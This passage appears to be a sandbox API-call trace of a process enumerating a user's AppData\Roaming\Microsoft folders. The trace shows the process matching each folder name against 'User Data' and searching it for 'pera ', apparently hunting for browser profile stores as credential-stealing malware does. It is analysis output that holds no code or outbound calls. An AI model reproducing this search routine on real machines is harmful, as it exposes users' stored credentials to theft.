ftLastAccessTime.dwHighDateTime=0x1d70912, ftLastWriteTime.dwLowDateTime=0x28986bd0, ftLastWriteTime.dwHighDateTime=0x1d70912, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Document Building Blocks", cAlternateFileName="DOCUME~1")) returned 1 [0264.453] lstrcmpW (lpString1="Document Building Blocks", lpString2="User Data") returned -1 [0264.453] StrStrW (lpFirst="Document Building Blocks", lpSrch="pera ") returned 0x0 [0264.453] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft") returned 44 [0264.453] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\microsoft\\document building blocks\\*"), lpFindFileData=0x24efa0 | out: lpFindFileData=0x24efa0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28986bd0, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x28986bd0, ftLastAccessTime.dwHighDateTime=0x1d70912, ftLastWriteTime.dwLowDateTime=0x28986bd0, ftLastWriteTime.dwHighDateTime=0x1d70912, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6ca500 [0264.454] lstrcmpW (lpString1=".", lpString2="User Data") returned -1 [0264.454] StrStrW (lpFirst=".", lpSrch="pera ") returned 0x0 [0264.454] FindNextFileW (in: hFindFile=0x6ca500, lpFindFileData=0x24efa0 | out: lpFindFileData=0x24efa0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28986bd0, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x28986bd0, ftLastAccessTime.dwHighDateTime=0x1d70912, ftLastWriteTime.dwLowDateTime=0x28986bd0, ftLastWriteTime.dwHighDateTime=0x1d70912, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0264.454] lstrcmpW (lpString1="..", lpString2="User Data") returned -1 [0264.454] StrStrW (lpFirst="..", lpSrch="pera ") returned 0x0 [0264.464] FindNextFileW (in: hFindFile=0x6ca500, lpFindFileData=0x24efa0 | out: lpFindFileData=0x24efa0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28986bd0, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x28986bd0, ftLastAccessTime.dwHighDateTime=0x1d70912, ftLastWriteTime.dwLowDateTime=0x28986bd0, ftLastWriteTime.dwHighDateTime=0x1d70912, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0264.464] lstrcmpW (lpString1="1033", lpString2="User Data") returned -1 [0264.464] StrStrW (lpFirst="1033", lpSrch="pera ") returned 0x0 [0264.465] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Document Building Blocks") returned 69 [0264.465] FindNextFileW (in: hFindFile=0x6ca500, lpFindFileData=0x24efa0 | out: lpFindFileData=0x24efa0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28986bd0, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x28986bd0, ftLastAccessTime.dwHighDateTime=0x1d70912, ftLastWriteTime.dwLowDateTime=0x28986bd0, ftLastWriteTime.dwHighDateTime=0x1d70912, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 0 [0264.465] FindClose (in: hFindFile=0x6ca500 | out: hFindFile=0x6ca500) returned 1 [0264.465] FindNextFileW (in: hFindFile=0x6ca440, lpFindFileData=0x24f428 | out: lpFindFileData=0x24f428*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3d9c50, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x3d9c50, ftLastAccessTime.dwHighDateTime=0x1d70912, ftLastWriteTime.dwLowDateTime=0x3d9c50, ftLastWriteTime.dwHighDateTime=0x1d70912, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Excel", cAlternateFileName="")) returned 1 [0264.465] lstrcmpW (lpString1="Excel", lpString2="User Data") returned -1 [0264.465] StrStrW (lpFirst="Excel", lpSrch="pera ") returned 0x0 [0264.465] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft") returned 44 [0264.465] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Excel\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\microsoft\\excel\\*"), lpFindFileData=0x24efa0 | out: lpFindFileData=0x24efa0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3d9c50, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x3d9c50, ftLastAccessTime.dwHighDateTime=0x1d70912, ftLastWriteTime.dwLowDateTime=0x3d9c50, ftLastWriteTime.dwHighDateTime=0x1d70912, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6ca500 [0264.486] lstrcmpW (lpString1=".", lpString2="User Data") returned -1 [0264.486] StrStrW (lpFirst=".", lpSrch="pera ") returned 0x0 [0264.486] FindNextFileW (in: hFindFile=0x6ca500, lpFindFileData=0x24efa0 | out: lpFindFileData=0x24efa0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3d9c50, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x3d9c50, ftLastAccessTime.dwHighDateTime=0x1d70912, ftLastWriteTime.dwLowDateTime=0x3d9c50, ftLastWriteTime.dwHighDateTime=0x1d70912, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0264.486] lstrcmpW (lpString1="..", lpString2="User Data") returned -1 [0264.486] StrStrW (lpFirst="..", lpSrch="pera ") returned 0x0 [0264.486] FindNextFileW (in: hFindFile=0x6ca500, lpFindFileData=0x24efa0 | out: lpFindFileData=0x24efa0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3d9c50, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x3d9c50, ftLastAccessTime.dwHighDateTime=0x1d70912, ftLastWriteTime.dwLowDateTime=0x3d9c50, ftLastWriteTime.dwHighDateTime=0x1d70912, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="XLSTART", cAlternateFileName="")) returned 1 [0264.486] lstrcmpW (lpString1="XLSTART", lpString2="User Data") returned 1 [0264.486] StrStrW (lpFirst="XLSTART", lpSrch="pera ") returned 0x0 [0264.486] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Excel") returned 50 [0264.486] FindNextFileW (in: hFindFile=0x6ca500, lpFindFileData=0x24efa0 | out: lpFindFileData=0x24efa0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3d9c50, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x3d9c50, ftLastAccessTime.dwHighDateTime=0x1d70912, ftLastWriteTime.dwLowDateTime=0x3d9c50, ftLastWriteTime.dwHighDateTime=0x1d70912, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="XLSTART", cAlternateFileName="")) returned 0 [0264.486] FindClose (in: hFindFile=0x6ca500 | out: hFindFile=0x6ca500) returned 1 [0264.487] FindNextFileW (in: hFindFile=0x6ca440, lpFindFileData=0x24f428 | out: lpFindFileData=0x24f428*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x795fff90, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x795fff90, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xfda27f60, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Internet Explorer", cAlternateFileName="INTERN~1")) returned 1 [0264.487] lstrcmpW (lpString1="Internet Explorer", lpString2="User Data") returned -1 [0264.487] StrStrW (lpFirst="Internet Explorer", lpSrch="pera ") returned 0x0 [0264.487] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft") returned 44 [0264.487] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Internet Explorer\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\microsoft\\internet explorer\\*"), lpFindFileData=0x24efa0 | out: lpFindFileData=0x24efa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x795fff90, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x795fff90, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xfda27f60, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6ca500 [0264.487] lstrcmpW (lpString1=".", lpString2="User Data") returned -1 [0264.487] StrStrW (lpFirst=".", lpSrch="pera ") returned 0x0 [0264.487] FindNextFileW (in: hFindFile=0x6ca500, lpFindFileData=0x24efa0 | out: lpFindFileData=0x24efa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x795fff90, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x795fff90, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xfda27f60, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0264.487] lstrcmpW (lpString1="..", lpString2="User Data") returned -1 [0264.487] StrStrW (lpFirst="..", lpSrch="pera ") returned 0x0 [0264.487] FindNextFileW (in: hFindFile=0x6ca500, lpFindFileData=0x24efa0 | out: lpFindFileData=0x24efa0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x795fff90, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x4d24b360, ftLastAccessTime.dwHighDateTime=0x1d7b064, ftLastWriteTime.dwLowDateTime=0x4d24b360, ftLastWriteTime.dwHighDateTime=0x1d7b064, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Quick Launch", cAlternateFileName="QUICKL~1")) returned 1 [0264.487] lstrcmpW (lpString1="Quick Launch", lpString2="User Data") returned -1 [0264.487] StrStrW (lpFirst="Quick Launch", lpSrch="pera ") returned 0x0 [0264.487] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Internet Explorer") returned 62 [0264.487] FindNextFileW (in: hFindFile=0x6ca500, lpFindFileData=0x24efa0 | out: lpFindFileData=0x24efa0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x795fff90, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x4d24b360, ftLastAccessTime.dwHighDateTime=0x1d7b064, ftLastWriteTime.dwLowDateTime=0x4d24b360, ftLastWriteTime.dwHighDateTime=0x1d7b064, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Quick Launch", cAlternateFileName="QUICKL~1")) returned 0 [0264.487] FindClose (in: hFindFile=0x6ca500 | out: hFindFile=0x6ca500) returned 1 [0264.488] FindNextFileW (in: hFindFile=0x6ca440, lpFindFileData=0x24f428 | out: lpFindFileData=0x24f428*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x82d9eea0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x82d9eea0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x82d9eea0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Network", cAlternateFileName="")) returned 1 [0264.488] lstrcmpW (lpString1="Network", lpString2="User Data") returned -1 [0264.488] StrStrW (lpFirst="Network", lpSrch="pera ") returned 0x0 [0264.488] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft") returned 44 [0264.488] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Network\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\microsoft\\network\\*"), lpFindFileData=0x24efa0 | out: lpFindFileData=0x24efa0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x82d9eea0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x82d9eea0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x82d9eea0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6ca500 [0264.488] lstrcmpW (lpString1=".", lpString2="User Data") returned -1 [0264.488] StrStrW (lpFirst=".", lpSrch="pera ") returned 0x0 [0264.488] FindNextFileW (in: hFindFile=0x6ca500, lpFindFileData=0x24efa0 | out: lpFindFileData=0x24efa0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x82d9eea0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x82d9eea0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x82d9eea0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0264.489] lstrcmpW (lpString1="..", lpString2="User Data") returned -1 [0264.489] StrStrW (lpFirst="..", lpSrch="pera ") returned 0x0 [0264.489] FindNextFileW (in: hFindFile=0x6ca500, lpFindFileData=0x24efa0 | out: lpFindFileData=0x24efa0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x82d9eea0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x82d9eea0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x82d9eea0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Connections", cAlternateFileName="CONNEC~1")) returned 1 [0264.489] lstrcmpW (lpString1="Connections", lpString2="User Data") returned -1 [0264.489] StrStrW (lpFirst="Connections", lpSrch="pera ") returned 0x0 [0264.489] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Network") returned 52 [0264.489] FindNextFileW (in: hFindFile=0x6ca500, lpFindFileData=0x24efa0 | out: lpFindFileData=0x24efa0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x82d9eea0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x82d9eea0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x82d9eea0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Connections", cAlternateFileName="CONNEC~1")) returned 0 [0264.489] FindClose (in: hFindFile=0x6ca500 | out: hFindFile=0x6ca500) returned 1 [0264.489] FindNextFileW (in: hFindFile=0x6ca440, lpFindFileData=0x24f428 | out: lpFindFileData=0x24f428*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28666ef0, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x2b32ecd0, ftLastAccessTime.dwHighDateTime=0x1d70912, ftLastWriteTime.dwLowDateTime=0x2b32ecd0, ftLastWriteTime.dwHighDateTime=0x1d70912, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office", cAlternateFileName="")) returned 1 [0264.489] lstrcmpW (lpString1="Office", lpString2="User Data") returned -1 [0264.489] StrStrW (lpFirst="Office", lpSrch="pera ") returned 0x0 [0264.489] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft") returned 44 [0264.489] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Office\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\microsoft\\office\\*"), lpFindFileData=0x24efa0 | out: lpFindFileData=0x24efa0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28666ef0, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x2b32ecd0, ftLastAccessTime.dwHighDateTime=0x1d70912, ftLastWriteTime.dwLowDateTime=0x2b32ecd0, ftLastWriteTime.dwHighDateTime=0x1d70912, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6ca500 [0264.565] lstrcmpW (lpString1=".", lpString2="User Data") returned -1 [0264.565] StrStrW (lpFirst=".", lpSrch="pera ") returned 0x0 [0264.565] FindNextFileW (in: hFindFile=0x6ca500, lpFindFileData=0x24efa0 | out: lpFindFileData=0x24efa0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28666ef0, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x2b32ecd0, ftLastAccessTime.dwHighDateTime=0x1d70912, ftLastWriteTime.dwLowDateTime=0x2b32ecd0, ftLastWriteTime.dwHighDateTime=0x1d70912, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0264.566] lstrcmpW (lpString1="..", lpString2="User Data") returned -1 [0264.566] StrStrW (lpFirst="..", lpSrch="pera ") returned 0x0 [0264.566] FindNextFileW (in: hFindFile=0x6ca500, lpFindFileData=0x24efa0 | out: lpFindFileData=0x24efa0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2868d050, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x2868d050, ftLastAccessTime.dwHighDateTime=0x1d70912, ftLastWriteTime.dwLowDateTime=0x2868d050, ftLastWriteTime.dwHighDateTime=0x1d70912, nFileSizeHigh=0x0, nFileSizeLow=0x9362, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSO1033.acl", cAlternateFileName="")) returned 1 [0264.566] FindNextFileW (in: hFindFile=0x6ca500, lpFindFileData=0x24efa0 | out: lpFindFileData=0x24efa0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x2b32ecd0, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x2b413510, ftLastAccessTime.dwHighDateTime=0x1d70912, ftLastWriteTime.dwLowDateTime=0x2b413510, ftLastWriteTime.dwHighDateTime=0x1d70912, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Recent", cAlternateFileName="")) returned 1 [0264.566] lstrcmpW (lpString1="Recent", lpString2="User Data") returned -1 [0264.566] StrStrW (lpFirst="Recent", lpSrch="pera ") returned 0x0 [0264.566] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Office") returned 51 [0264.566] FindNextFileW (in: hFindFile=0x6ca500, lpFindFileData=0x24efa0 | out: lpFindFileData=0x24efa0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x2b32ecd0, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x2b413510, ftLastAccessTime.dwHighDateTime=0x1d70912, ftLastWriteTime.dwLowDateTime=0x2b413510, ftLastWriteTime.dwHighDateTime=0x1d70912, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Recent", cAlternateFileName="")) returned 0 [0264.566] FindClose (in: hFindFile=0x6ca500 | out: hFindFile=0x6ca500) returned 1 [0264.566] FindNextFileW (in: hFindFile=0x6ca440, lpFindFileData=0x24f428 | out: lpFindFileData=0x24f428*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x500531d0, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x5b267fb0, ftLastAccessTime.dwHighDateTime=0x1d70912, ftLastWriteTime.dwLowDateTime=0x5b267fb0, ftLastWriteTime.dwHighDateTime=0x1d70912, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Outlook", cAlternateFileName="")) returned 1 [0264.566] lstrcmpW (lpString1="Outlook", lpString2="User Data") returned -1 [0264.566] StrStrW (lpFirst="Outlook", lpSrch="pera ") returned 0x0 [0264.566] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft") returned 44 [0264.566] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Outlook\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\microsoft\\outlook\\*"), lpFindFileData=0x24efa0 | out: lpFindFileData=0x24efa0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x500531d0, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x5b267fb0, ftLastAccessTime.dwHighDateTime=0x1d70912, ftLastWriteTime.dwLowDateTime=0x5b267fb0, ftLastWriteTime.dwHighDateTime=0x1d70912, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6ca500 [0264.568] lstrcmpW (lpString1=".", lpString2="User Data") returned -1 [0264.568] StrStrW (lpFirst=".", lpSrch="pera ") returned 0x0 [0264.568] FindNextFileW (in: hFindFile=0x6ca500, lpFindFileData=0x24efa0 | out: lpFindFileData=0x24efa0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x500531d0, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x5b267fb0, ftLastAccessTime.dwHighDateTime=0x1d70912, ftLastWriteTime.dwLowDateTime=0x5b267fb0, ftLastWriteTime.dwHighDateTime=0x1d70912, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0264.568] lstrcmpW (lpString1="..", lpString2="User Data") returned -1 [0264.568] StrStrW (lpFirst="..", lpSrch="pera ") returned 0x0 [0264.568] FindNextFileW (in: hFindFile=0x6ca500, lpFindFileData=0x24efa0 | out: lpFindFileData=0x24efa0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x53aa4cd0, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x53aa4cd0, ftLastAccessTime.dwHighDateTime=0x1d70912, ftLastWriteTime.dwLowDateTime=0x3a502870, ftLastWriteTime.dwHighDateTime=0x1d7100d, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Outlook.srs", cAlternateFileName="")) returned 1 [0264.568] FindNextFileW (in: hFindFile=0x6ca500, lpFindFileData=0x24efa0 | out: lpFindFileData=0x24efa0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5b267fb0, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x5b267fb0, ftLastAccessTime.dwHighDateTime=0x1d70912, ftLastWriteTime.dwLowDateTime=0x3a907d30, ftLastWriteTime.dwHighDateTime=0x1d7100d, nFileSizeHigh=0x0, nFileSizeLow=0x93e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Outlook.xml", cAlternateFileName="")) returned 1 [0264.568] FindNextFileW (in: hFindFile=0x6ca500, lpFindFileData=0x24efa0 | out: lpFindFileData=0x24efa0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5b267fb0, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x5b267fb0, ftLastAccessTime.dwHighDateTime=0x1d70912, ftLastWriteTime.dwLowDateTime=0x3a907d30, ftLastWriteTime.dwHighDateTime=0x1d7100d, nFileSizeHigh=0x0, nFileSizeLow=0x93e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Outlook.xml", cAlternateFileName="")) returned 0 [0264.568] FindClose (in: hFindFile=0x6ca500 | out: hFindFile=0x6ca500) returned 1 [0264.568] FindNextFileW (in: hFindFile=0x6ca440, lpFindFileData=0x24f428 | out: lpFindFileData=0x24f428*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x42694660, ftCreationTime.dwHighDateTime=0x1d7b065, ftLastAccessTime.dwLowDateTime=0x42694660, ftLastAccessTime.dwHighDateTime=0x1d7b065, ftLastWriteTime.dwLowDateTime=0x42694660, ftLastWriteTime.dwHighDateTime=0x1d7b065, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof", cAlternateFileName="")) returned 1 [0264.568] lstrcmpW (lpString1="Proof", lpString2="User Data") returned -1 [0264.568] StrStrW (lpFirst="Proof", lpSrch="pera ") returned 0x0 [0264.568] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft") returned 44 [0264.568] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Proof\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\microsoft\\proof\\*"), lpFindFileData=0x24efa0 | out: lpFindFileData=0x24efa0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x42694660, ftCreationTime.dwHighDateTime=0x1d7b065, ftLastAccessTime.dwLowDateTime=0x42694660, ftLastAccessTime.dwHighDateTime=0x1d7b065, ftLastWriteTime.dwLowDateTime=0x42694660, ftLastWriteTime.dwHighDateTime=0x1d7b065, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6ca500 [0264.570] lstrcmpW (lpString1=".", lpString2="User Data") returned -1 [0264.570] StrStrW (lpFirst=".", lpSrch="pera ") returned 0x0 [0264.570] FindNextFileW (in: hFindFile=0x6ca500, lpFindFileData=0x24efa0 | out: lpFindFileData=0x24efa0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x42694660, ftCreationTime.dwHighDateTime=0x1d7b065, ftLastAccessTime.dwLowDateTime=0x42694660, ftLastAccessTime.dwHighDateTime=0x1d7b065, ftLastWriteTime.dwLowDateTime=0x42694660, ftLastWriteTime.dwHighDateTime=0x1d7b065, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0264.570] lstrcmpW (lpString1="..", lpString2="User Data") returned -1 [0264.570] StrStrW (lpFirst="..", lpSrch="pera ") returned 0x0 [0264.570] FindNextFileW (in: hFindFile=0x6ca500, lpFindFileData=0x24efa0 | out: lpFindFileData=0x24efa0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x42694660, ftCreationTime.dwHighDateTime=0x1d7b065, ftLastAccessTime.dwLowDateTime=0x42694660, ftLastAccessTime.dwHighDateTime=0x1d7b065, ftLastWriteTime.dwLowDateTime=0x42694660, ftLastWriteTime.dwHighDateTime=0x1d7b065, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0264.570] FindClose (in: hFindFile=0x6ca500 | out: hFindFile=0x6ca500) returned 1 [0264.570] FindNextFileW (in: hFindFile=0x6ca440, lpFindFileData=0x24f428 | out: lpFindFileData=0x24f428*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x795d9e30, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x30b088f0, ftLastAccessTime.dwHighDateTime=0x1d7100d, ftLastWriteTime.dwLowDateTime=0x30b088f0, ftLastWriteTime.dwHighDateTime=0x1d7100d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Protect", cAlternateFileName="")) returned 1 [0264.570] lstrcmpW (lpString1="Protect", lpString2="User Data") returned -1 [0264.570] StrStrW (lpFirst="Protect", lpSrch="pera ") returned 0x0 [0264.570] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft") returned 44 [0264.570] FindFirstFileW (in: 